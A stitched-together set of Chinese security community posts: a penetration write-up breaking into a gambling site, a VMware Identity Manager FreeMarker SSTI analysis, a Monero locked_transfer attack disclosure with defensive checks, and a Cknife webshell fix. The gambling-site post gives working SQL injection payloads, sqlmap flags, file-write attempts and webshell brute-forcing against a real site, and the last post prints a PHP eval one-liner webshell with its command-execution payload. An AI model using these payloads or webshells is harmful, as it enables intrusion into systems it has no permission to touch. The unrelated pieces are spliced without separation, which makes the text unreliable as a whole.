在本文中，我针对的是所有现代浏览器的隐私浏览模式，我认为隐私浏览在保护用户隐私方面并不完全安全。在本文中，证明隐私浏览留下了一些记录用户活动的证据。通过查看相关的临时文件、Cookie、浏览器文件系统等，可以很容易地跟踪这些活动。但是，不同浏览器的隐私保护程度各有不同。 | 社区文章 |
朋友给了我一个站，算一个比较大的bc，主站看了一下，没有入口，就换了他的一个推广平台
然后首先大致扫了一下目录，希望可以看见一些有用的东西。
这个时候我可以推荐大家一个接口，可以快速大致看看他重要的文件
<https://scan.top15.cn/web/infoleak>
例如探针，网站源码是否打包，很明显我没有扫出来，然后给大家看看扫描结果。
config.inc.php根据经验看应该是数据库的配置文件，但是大小为0B,试探性的访问一下，果然什么都没有
upload访问就是403，但是根据经验还是会再去扫一下它，说不定是什么fck编辑器呢，也很遗憾，啥子都没有扫到。
/index.php/login/ ，大小只有2kb，也根本不是后台，有点失落。
端口的话也只有这一个web资产，只好看一下他的网站功能了。
然后点击了一下查询，希望可以在这里找找注入。
果然，有注入，剩下的就是找后台了。
查看当前数据库，and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--
这里记一下踩坑，account=1') and (extractvalue(1,concat(0x7e,(select
database()),0x7e)))--('
这是完整的payload，最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select
database()),0x7e)))--+。tm始终不出数据，我以为他妈有过滤。还一个一个fuzzing。后面想了想会不会注释闭合了还会追加').果然，闭合以后出了数据。然后有用sqlmap跑数据，没想到tm的跑不出来。只有自己重新构造sqlmap语句
python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3
--tamper=space2plus --skip-urlencode
终于跑出来了。后面看了一下payload，每次跑都会把空格编译为20%，url编码了以后payload就不生效了，就用了skip-urlencode这个参数。
惊喜又来了，看了一下priv，真的，这么多mysql注入，终于有了一个比较高的权限。
我直接账号密码都没有看，刚刚报错除了绝对路径，这不--os-shell?
然后查看payload的时候，发现了hws，我就感觉不简单了，兄弟们。
果然，写不进去，后面加了--hex也是写不进去的。那没事，还有--sql-shell。用堆叠写，虽然我知道大概率写不进去，但是还是要尝试一下，说不定呢。渗透tm就是玄学。
查看了一下priv，不是null，又给了我一丝丝希望，写，先写一个txt看看。
select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt'
然后去网站看，并没有写进去，真的太难了。
就只剩下--file-write了，这个就不贴图了，依然还是没有拿下。无奈，只有查看后台账号密码。
账号密码收集完了，就去找后台，但是很遗憾，还是没有找到，都接近绝望了。这tm都送到嘴里了，怎么还是拿不下，我tm就感觉是sqlmap的问题，我有重新弄了一次上面的步骤，我明白了，sqlmap可能会骗你,但是hws不会，你写不进去，就是写不进去。算了还是换一个思路吧，报错不是爆了这个目录吗？wolsoowpppps，我在回去看看，不出意外的403,wolsoowpppps/admin，wolsoowpppps/login。都没有东西，dirsearch一扫，tm还是没有。
他报错不是web/wolsoowpppps这个路径吗，会不会是我绝对路径有问题，我访问
怎么也是403，那只能说明这是一个没有扫出来的目录，尼玛的，我tm感觉这里有东西。结果一扫，图就不贴了，还是什么也没有。哈哈哈哈。有白高兴一场。
但是我始终觉得这个wolsoowpppps目录有问题，fuzzing一下，fuzzing出了web，然后再扫web，好家伙，出了一个temp。php访问，一个大马。这不快结素了吗？
然后爆破，最终，成功爆破进来,上传蚁键，拿下。这个大马看起也很熟悉呀。
但是hws还是真的猛。命令无法执行，用了插件，还有那个.so的那个方法，都没有弄出来。
这里感谢一下黄哥，他说的护卫神主要是asp的，传一个冰鞋的马就可以了。黄哥很猛，但是我稿费不会分他的。
果然，拿下。
然后想了很多办法，这个权限提不下来，我相信xz的大佬应该会知道吧，我说一说情况。
目前只有d盘的查看修改权限，exe无法执行，意味着Ms系列用不起。土豆一族传不上去。iis秒不掉。杀软是火绒，护卫神，安全狗。向上cs的，但是dll和Mshta执行就卡死，目前暂时不知道怎么提权，想继续扩展，但是提权这一方面接触的少，还望先知的给位表哥们给给思路。
最后，我想了想，那个大马是怎么传上去的。
对方可能也是注入起手->在一处找到了xss(我也找到了，但是由于客服是10月份下线的，已经换了站了，导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站，后台的rce（tp3.2.3缓存getshell）->上大马。
这是xss的位置
这个是后台
这个站虽然拿的比价坎坷，但是思路都是很简单的，还是多学习吧，还有一个17级的学长，就不说他了，每次都敷衍我，干tm的。 | 社区文章 |
# 安装环境
r师给的镜像 identity-manager-21.08.0.1-19010796_OVF10.ova，导入ova的时候要设置下fqdn，不然安装时链接数据库会报错。
# 分析
[这个老外的推特中](https://twitter.com/rwincey/status/1512241638994853891?s=20&t=LVGfpTwTcqwQ8Teh6LQrfg)有一点点可以参考的信息
有两个报错信息，我们先找到这个模板所在。
看路由是在catalog-portal app下，cd到`/opt/vmware/horizon/workspace/webapps/catalog-portal`，然后把jar包拖出来解压之后，`grep -irn "console.log"`
发现在`lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar!/templates/customError.ftl:61`这个地方存在模板注入
freemarker官网文档中给出了安全问题的提示
<https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval>
确认了这个地方就是freemarker ssti的地方。
接着看哪个路由可以渲染这个模板，找到了`com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError`
这个函数没有requestMapping，其中errorObj由参数传入，查找函数调用，寻找从requestMapping进来的控制器能调用到这个函数的。
endusercatalog-ui-1.0-SNAPSHOT-classes.jar这个jar包是一个spring项目
有几个控制器，其中UiErrorController控制器有两个requestMapping
这两个路由均可以走到getErrorPage
getErrorPage会根据handleUnauthorizedError和handleGenericError两个函数拿到需要渲染的模板
其中handleUnauthorizedError只有一个分支可以进入handleGenericError
到这里，想要控制errorObj，则整个数据流向如图
我们需要让其走到handleGenericError才可以rce。
但是此时有一个问题，如果直接访问这两个requestMapping，我们无法控制`javax.servlet.error.message`，也就无法控制errorObj，所以找一找哪个控制器跳转过来的。
在`com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver`类中，通过`@ExceptionHandler`注解标明这是一个异常处理类。
当程序直接抛出Exception类型的异常时会进入handleAnyGenericException，最终都会返回`/ui/view/error`，并且设置了errorObj所需要的Attribute
request.setAttribute("javax.servlet.error.status_code", responseCode);
request.setAttribute("javax.servlet.error.message", errorJson);
request.setAttribute("javax.servlet.error.exception_type", ex.getClass());
errorJson来自于LocalizationParamValueException异常的getArgs。
即自身args属性，通过构造函数的第二个参数传入
如果我们可以控制抛出异常的参数，就可以把freemarker的payload传入errorObj。
## 失败的exception
然后我找到了`com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController#authorizeError`
尝试构造一下
https://id.test.local/catalog-portal/ui/oauth/verify?error=1&error_description=a
直接302了，调试发现errorMessage确实已经有我们的恶意值1了，但是被sendRedirect，而不是handleGenericError。
上文讲到必须要handleGenericError才能`return customError`。调试发现
isSpecificUnauthError(excpClass)为false，this.isMdmOnlyUnauthorizedAccessError(request,
excpClass)也为false。
private boolean isSpecificUnauthError(String exceptionClass) {
return Predicates.or(new Predicate[]{this::isDeviceRecordNotFoundError, this::isUserMismatchError, this::isMdmAuthUnhandledError, this::isDeviceStateInvalidError, this::isExternalUserIdNotFoundError}).apply(exceptionClass);
}
isSpecificUnauthError过不去，因为`com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController#authorizeError`抛出的异常是AuthorizationCodeFailedRetrievalException，并非DeviceRecordNotFoundException、UserMismatchException、MdmAuthUnhandledException、DeviceStateInvalidException、ExternalUserIdNotFoundException之一，这个死绕不过去。
isMdmOnlyUnauthorizedAccessError中`this.isMdmOnlyMode(request)`永为false
因为`((TenantAdapters)adapters).isMdmOnlyMode()`一直追溯到`com.vmware.endusercatalog.repositories.TenantAdapters#getAdapterAttributesOptional`
当程序配置好之后`this.adapters`就有了`AdapterType.WORKSPACE`
public boolean isWorkspaceConfigured() {
return this.getAdapterAttributesOptional(AdapterType.WORKSPACE).isPresent();
}
而取反之后为false。
public boolean isMdmOnlyMode() {
return !this.isWorkspaceConfigured();
}
所以isMdmOnlyUnauthorizedAccessError判断永为false，所以这条路走不通了。
## 真正的exception
经过chybeta、su18、iiusky师傅的指点，回头看`com.vmware.endusercatalog.ui.UiApplication`，发现注解声明自动装配`com.vmware.endusercatalog.auth`包
在`com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor`中是个拦截器，会被自动装配到spring容器中。
build函数
public AuthContext build() {
return new AuthContext(this);
}
withDeviceId和withDeviceType分别设置自身的deviceId和deviceType字段。然后build()函数new了一个AuthContext，跟进到`com.vmware.endusercatalog.auth.AuthContext#AuthContext`构造函数
这里抛出了一个InvalidAuthContextException异常，参数也可控，if判断只需要让this.deviceId、this.deviceType不为空即可。
# payload
payload自己构造吧，有个坑，host可以为localhost，可以为域名，但是不能为ip，因为ip对不上fqdn。
# 后利用
写shell在`/opt/vmware/horizon/workspace/webapps/catalog-portal/`tomcat目录下，发现post会校验csrf，导致哥斯拉连不上，打入一个listener的内存马就可以了。 | 社区文章 |
**作者：ISME@慢雾安全团队**
**公众号：[慢雾科技](https://mp.weixin.qq.com/s/Kt-G_bYbuUMIbSGSnyYXLA "慢雾科技") **
近日据慢雾区情报显示，针对门罗币（XMR）转账锁定攻击在多个交易所出现，慢雾安全团队在收到情报第一时间进行分析跟进，本着负责任披露的原则我们第一时间在慢雾区进行了预警并为我们所服务的客户进行了及时的情报同步以及协助检测和修复。如有其他需要提供验证和检测服务欢迎联系慢雾安全团队。
## 一．攻击步骤
0x01：通过 monero-wallet-cli 输入密码登录钱包
0x02：通过命令发送锁定交易
0x03：转账完成，交易所未进行锁定交易（locked_transfer）检测，接收到被设置锁定区块高度才能解锁的币（可以理解为锁定了指定时间）。
0x04：恶意用户立即提币走人，留下交易所一脸懵逼。
## 二．造成影响
首先该攻击不会导致交易所任何资金损失，但是会锁定了交易所 XMR流动性。
极端情况举例：如果交易所收到的都是需要锁定一年甚至更多年的门罗币则会导致一年内用户来提币的时候无币可以提（只能去购买额外的币来给用户提取）。
## 三．关于 locked_transfer 命令
monero-wallet-cli 关于 locked_transfer 命令解释如下：
locked_transfer [ index = <N1>[,<N2>,...]] [<priority>] [<ring_size>] (<URI> | <addr> <amount>) <lockblocks> [<payment_id (obsolete)>]
转账命令：
`locked_transfer FromAddress ToAddress 0.0101 20000`
FromAddress ：发送地址（一般为攻击者钱包地址）
ToAddress ：接收地址（一般为交易所钱包地址）
0.0101：为转账金额
20000：为锁定区块数
## 四．如何防护
一般交易所会通过get_transfers RPC 接口来解析 XMR交易检测充值是否到账，在进行解析的时候只需要对
`unlock_time`字段进行判断是否大于 0 则可以进行有效检测。
注：unlock_time 为 int 类型，如果大于 0
则意味着该交易有锁定区块，为恶意交易可以不予确认到账。为了避免充值不予到账损害“用户”利益可以进行另外一种处理：判断锁定区块是否到达，如果未到达则不予入账。
## 五．所有受影响 RPC接口
（1）get_transfer
（2）get_bulk_payments
（3）show_transfer
（4）get_payments
同理：在其他地方使用了如上四个接口的地方也需要对`unlock_time`字段进行判断是否大于 0 ，大于 0 则不予充值到账。
该问题之前在 HackerOne 也有被白帽子提过漏洞赏金，其中门罗官方回复：
文章链接：
<https://hackerone.com/reports/417515>
附：以下内容为官方文档摘录
### **get_transfers**
Returns a list of transfers.
Alias: _None_.
Inputs:
* `in` \- boolean; (Optional) Include incoming transfers.
* `out` \- boolean; (Optional) Include outgoing transfers.
* `pending` \- boolean; (Optional) Include pending transfers.
* `failed` \- boolean; (Optional) Include failed transfers.
* `pool` \- boolean; (Optional) Include transfers from the daemon's transaction pool.
* `filter_by_height` \- boolean; (Optional) Filter transfers by block height.
* `min_height` \- unsigned int; (Optional) Minimum block height to scan for transfers, if filtering by height is enabled.
* `max_height` \- unsigned int; (Opional) Maximum block height to scan for transfers, if filtering by height is enabled (defaults to max block height).
* `account_index` \- unsigned int; (Optional) Index of the account to query for transfers. (defaults to 0)
* `subaddr_indices` \- array of unsigned int; (Optional) List of subaddress indices to query for transfers. (Defaults to empty - all indices)
Outputs:
* `in` array of transfers:
* `address` \- string; Public address of the transfer.
* `amount` \- unsigned int; Amount transferred.
* `confirmations` \- unsigned int; Number of block mined since the block containing this transaction (or block height at which the transaction should be added to a block if not yet confirmed).
* `double_spend_seen` \- boolean; True if the key image(s) for the transfer have been seen before.
* `fee` \- unsigned int; Transaction fee for this transfer.
* `height` \- unsigned int; Height of the first block that confirmed this transfer (0 if not mined yet).
* `note` \- string; Note about this transfer.
* `payment_id` \- string; Payment ID for this transfer.
* `subaddr_index` \- JSON object containing the major & minor
* `major` -unsigned int; Account index for the subaddress.
* `minor` -unsigned int; Index of the subaddress under the account.
* `suggested_confirmations_threshold`\- unsigned int; Estimation of the confirmations needed for the transaction to be included in a block.
* `timestamp` \- unsigned int; POSIX timestamp for when this transfer was first confirmed in a block (or timestamp submission if not mined yet).
* `txid` \- string; Transaction ID for this transfer.
* `type` \- string; Transfer type: "in"
* `unlock_time` **\- unsigned int; Number of blocks until transfer is safely spendable.**
* `out` array of transfers (see above).
* `pending` array of transfers (see above).
* `failed` array of transfers (see above).
* `pool` array of transfers (see above).
Example:
$ curl -X POST http://127.0.0.1:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_transfers","params":{"in":true,"account_index":1}}' -H 'Content-Type: application/json'
{
"id": "0",
"jsonrpc": "2.0",
"result": {
"in": [{
"address": "77Vx9cs1VPicFndSVgYUvTdLCJEZw9h81hXLMYsjBCXSJfUehLa9TDW3Ffh45SQa7xb6dUs18mpNxfUhQGqfwXPSMrvKhVp",
"amount": 200000000000,
"confirmations": 1,
"double_spend_seen": false,
"fee": 21650200000,
"height": 153624,
"note": "",
"payment_id": "0000000000000000",
"subaddr_index": {
"major": 1,
"minor": 0
},
"suggested_confirmations_threshold": 1,
"timestamp": 1535918400,
"txid": "c36258a276018c3a4bc1f195a7fb530f50cd63a4fa765fb7c6f7f49fc051762a",
"type": "in",
"unlock_time": 0
}]
}
}
### **get_payments**
Get a list of incoming payments using a given payment id.
Alias: _None_.
Inputs:
* `payment_id` \- string; Payment ID used to find the payments (16 characters hex).
Outputs:
* `payments` \- list of:
* `payment_id` \- string; Payment ID matching the input parameter.
* `tx_hash` \- string; Transaction hash used as the transaction ID.
* `amount` \- unsigned int; Amount for this payment.
* `block_height` \- unsigned int; Height of the block that first confirmed this payment.
* `unlock_time` **\- unsigned int; Time (in block height) until this payment is safe to spend.**
* `subaddr_index` \- subaddress index:
* `major` \- unsigned int; Account index for the subaddress.
* `minor` \- unsigned int; Index of the subaddress in the account.
* `address` \- string; Address receiving the payment; Base58 representation of the public keys.
Example:
$ curl -X POST http://127.0.0.1:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_payments","params":{"payment_id":"60900e5603bf96e3"}}' -H 'Content-Type: application/json'
{
"id": "0",
"jsonrpc": "2.0",
"result": {
"payments": [{
"address": "55LTR8KniP4LQGJSPtbYDacR7dz8RBFnsfAKMaMuwUNYX6aQbBcovzDPyrQF9KXF9tVU6Xk3K8no1BywnJX6GvZX8yJsXvt",
"amount": 1000000000000,
"block_height": 127606,
"payment_id": "60900e5603bf96e3",
"subaddr_index": {
"major": 0,
"minor": 0
},
"tx_hash": "3292e83ad28fc1cc7bc26dbd38862308f4588680fbf93eae3e803cddd1bd614f",
"unlock_time": 0
}]
}
}
### **get_bulk_payments**
Get a list of incoming payments using a given payment id, or a list of
payments ids, from a given height. This method is the preferred method over
`get_payments`because it has the same functionality but is more extendable.
Either is fine for looking up transactions by a single payment ID.
Alias: _None_.
Inputs:
* `payment_ids` \- array of: string; Payment IDs used to find the payments (16 characters hex).
* `min_block_height` \- unsigned int; The block height at which to start looking for payments.
Outputs:
* `payments` \- list of:
* `payment_id` \- string; Payment ID matching one of the input IDs.
* `tx_hash` \- string; Transaction hash used as the transaction ID.
* `amount` \- unsigned int; Amount for this payment.
* `block_height` \- unsigned int; Height of the block that first confirmed this payment.
* `unlock_time` **\- unsigned int; Time (in block height) until this payment is safe to spend.**
* `subaddr_index` \- subaddress index:
* `major` \- unsigned int; Account index for the subaddress.
* `minor` \- unsigned int; Index of the subaddress in the account.
* `address` \- string; Address receiving the payment; Base58 representation of the public keys.
Example:
$ curl -X POST http://127.0.0.1:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_bulk_payments","params":{"payment_ids":["60900e5603bf96e3"],"min_block_height":"120000"}}' -H 'Content-Type: application/json'
{
"id": "0",
"jsonrpc": "2.0",
"result": {
"payments": [{
"address": "55LTR8KniP4LQGJSPtbYDacR7dz8RBFnsfAKMaMuwUNYX6aQbBcovzDPyrQF9KXF9tVU6Xk3K8no1BywnJX6GvZX8yJsXvt",
"amount": 1000000000000,
"block_height": 127606,
"payment_id": "60900e5603bf96e3",
"subaddr_index": {
"major": 0,
"minor": 0
},
"tx_hash": "3292e83ad28fc1cc7bc26dbd38862308f4588680fbf93eae3e803cddd1bd614f",
"unlock_time": 0
}]
}
}
### **get_transfer_by_txid**
Show information about a transfer to/from this address.
Alias: _None_.
Inputs:
* `txid` \- string; Transaction ID used to find the transfer.
* `account_index` \- unsigned int; (Optional) Index of the account to query for the transfer.
Outputs:
* `transfer` \- JSON object containing payment information:
* `address` \- string; Address that transferred the funds. Base58 representation of the public keys.
* `amount` \- unsigned int; Amount of this transfer.
* `confirmations` \- unsigned int; Number of block mined since the block containing this transaction (or block height at which the transaction should be added to a block if not yet confirmed).
* `destinations` \- array of JSON objects containing transfer destinations:
* `amount` \- unsigned int; Amount transferred to this destination.
* `address` \- string; Address for this destination. Base58 representation of the public keys.
* `double_spend_seen` \- boolean; True if the key image(s) for the transfer have been seen before.
* `fee` \- unsigned int; Transaction fee for this transfer.
* `height` \- unsigned int; Height of the first block that confirmed this transfer.
* `note` \- string; Note about this transfer.
* `payment_id` \- string; Payment ID for this transfer.
* `subaddr_index` \- JSON object containing the major & minor subaddress index:
* `major` \- unsigned int; Account index for the subaddress.
* `minor` \- unsigned int; Index of the subaddress under the account.
* `suggested_confirmations_threshold` \- unsigned int; Estimation of the confirmations needed for the transaction to be included in a block.
* `timestamp` \- unsigned int; POSIX timestamp for the block that confirmed this transfer (or timestamp submission if not mined yet).
* `txid` \- string; Transaction ID of this transfer (same as input TXID).
* `type` \- string; Type of transfer, one of the following: "in", "out", "pending", "failed", "pool"
* `unlock_time` **\- unsigned int; Number of blocks until transfer is safely spendable.**
Example:
$ curl -X POST http://localhost:18082/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_transfer_by_txid","params":{"txid":"c36258a276018c3a4bc1f195a7fb530f50cd63a4fa765fb7c6f7f49fc051762a"}}' -H 'Content-Type: application/json'
{
"id": "0",
"jsonrpc": "2.0",
"result": {
"transfer": {
"address": "55LTR8KniP4LQGJSPtbYDacR7dz8RBFnsfAKMaMuwUNYX6aQbBcovzDPyrQF9KXF9tVU6Xk3K8no1BywnJX6GvZX8yJsXvt",
"amount": 300000000000,
"confirmations": 1,
"destinations": [{
"address": "7BnERTpvL5MbCLtj5n9No7J5oE5hHiB3tVCK5cjSvCsYWD2WRJLFuWeKTLiXo5QJqt2ZwUaLy2Vh1Ad51K7FNgqcHgjW85o",
"amount": 100000000000
},{
"address": "77Vx9cs1VPicFndSVgYUvTdLCJEZw9h81hXLMYsjBCXSJfUehLa9TDW3Ffh45SQa7xb6dUs18mpNxfUhQGqfwXPSMrvKhVp",
"amount": 200000000000
}],
"double_spend_seen": false,
"fee": 21650200000,
"height": 153624,
"note": "",
"payment_id": "0000000000000000",
"subaddr_index": {
"major": 0,
"minor": 0
},
"suggested_confirmations_threshold": 1,
"timestamp": 1535918400,
"txid": "c36258a276018c3a4bc1f195a7fb530f50cd63a4fa765fb7c6f7f49fc051762a",
"type": "out",
"unlock_time": 0
}
}
}
官方文档链接：<https://www.getmonero.org/resources/developer-guides/wallet-rpc.html>
* * * | 社区文章 |
无论我拿到什么样的shell。使用cknife使用shell都是
哇，气死人了。
昨晚写出来了配套的过狗过D盾过360一句话木马，也把Cknife的数据做了加密。
然而，这东西根本无法好好使用啊！
测试一句话（服务端）：
<?php eval(base64_decode($_POST['a']).';');
于是给Cknife,连接shell,打开burp抓包
这是执行”whoami”时候的请求，没有返回的报文。
POST /test.php HTTP/1.1
User-Agent: Java/1.8.0_121
Host: localhost
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 598
Connection: close
a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d
本地模拟了服务端处理客户端请求的场景
<?php
//客户端发送请求
$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';
$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';
//服务端
eval(base64_decode($_POST['a']).';');
然后Base64解码
<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");die();
');
这就通过短短一句话木马来做事情的秘密了。
特么的！最坑的地方知道是什么吗！我找了一晚上！
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
system($r." 2>&1",$ret);
看似很正常对吧？
$p = ‘cmd’;
$c= ‘whoami’; (举例)
>$r="{$p} {$c}";
然后system($r);
一切都很完美吧？
那你就错了，因为
呵呵，所以shell环境是Windows的时候有可能发生这种低级问题，
你！根！本！执！行！不！了！命！令！
解决起来也很简单
明文修改部分就行了！
<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$s}";
system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
');
实际操作只需要
打开c刀的Config.ini文件,查找
php_shell=
修改成
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d
就行了，然后重新打开一次C刀。大功告成。 | 社区文章 |
Subsets and Splits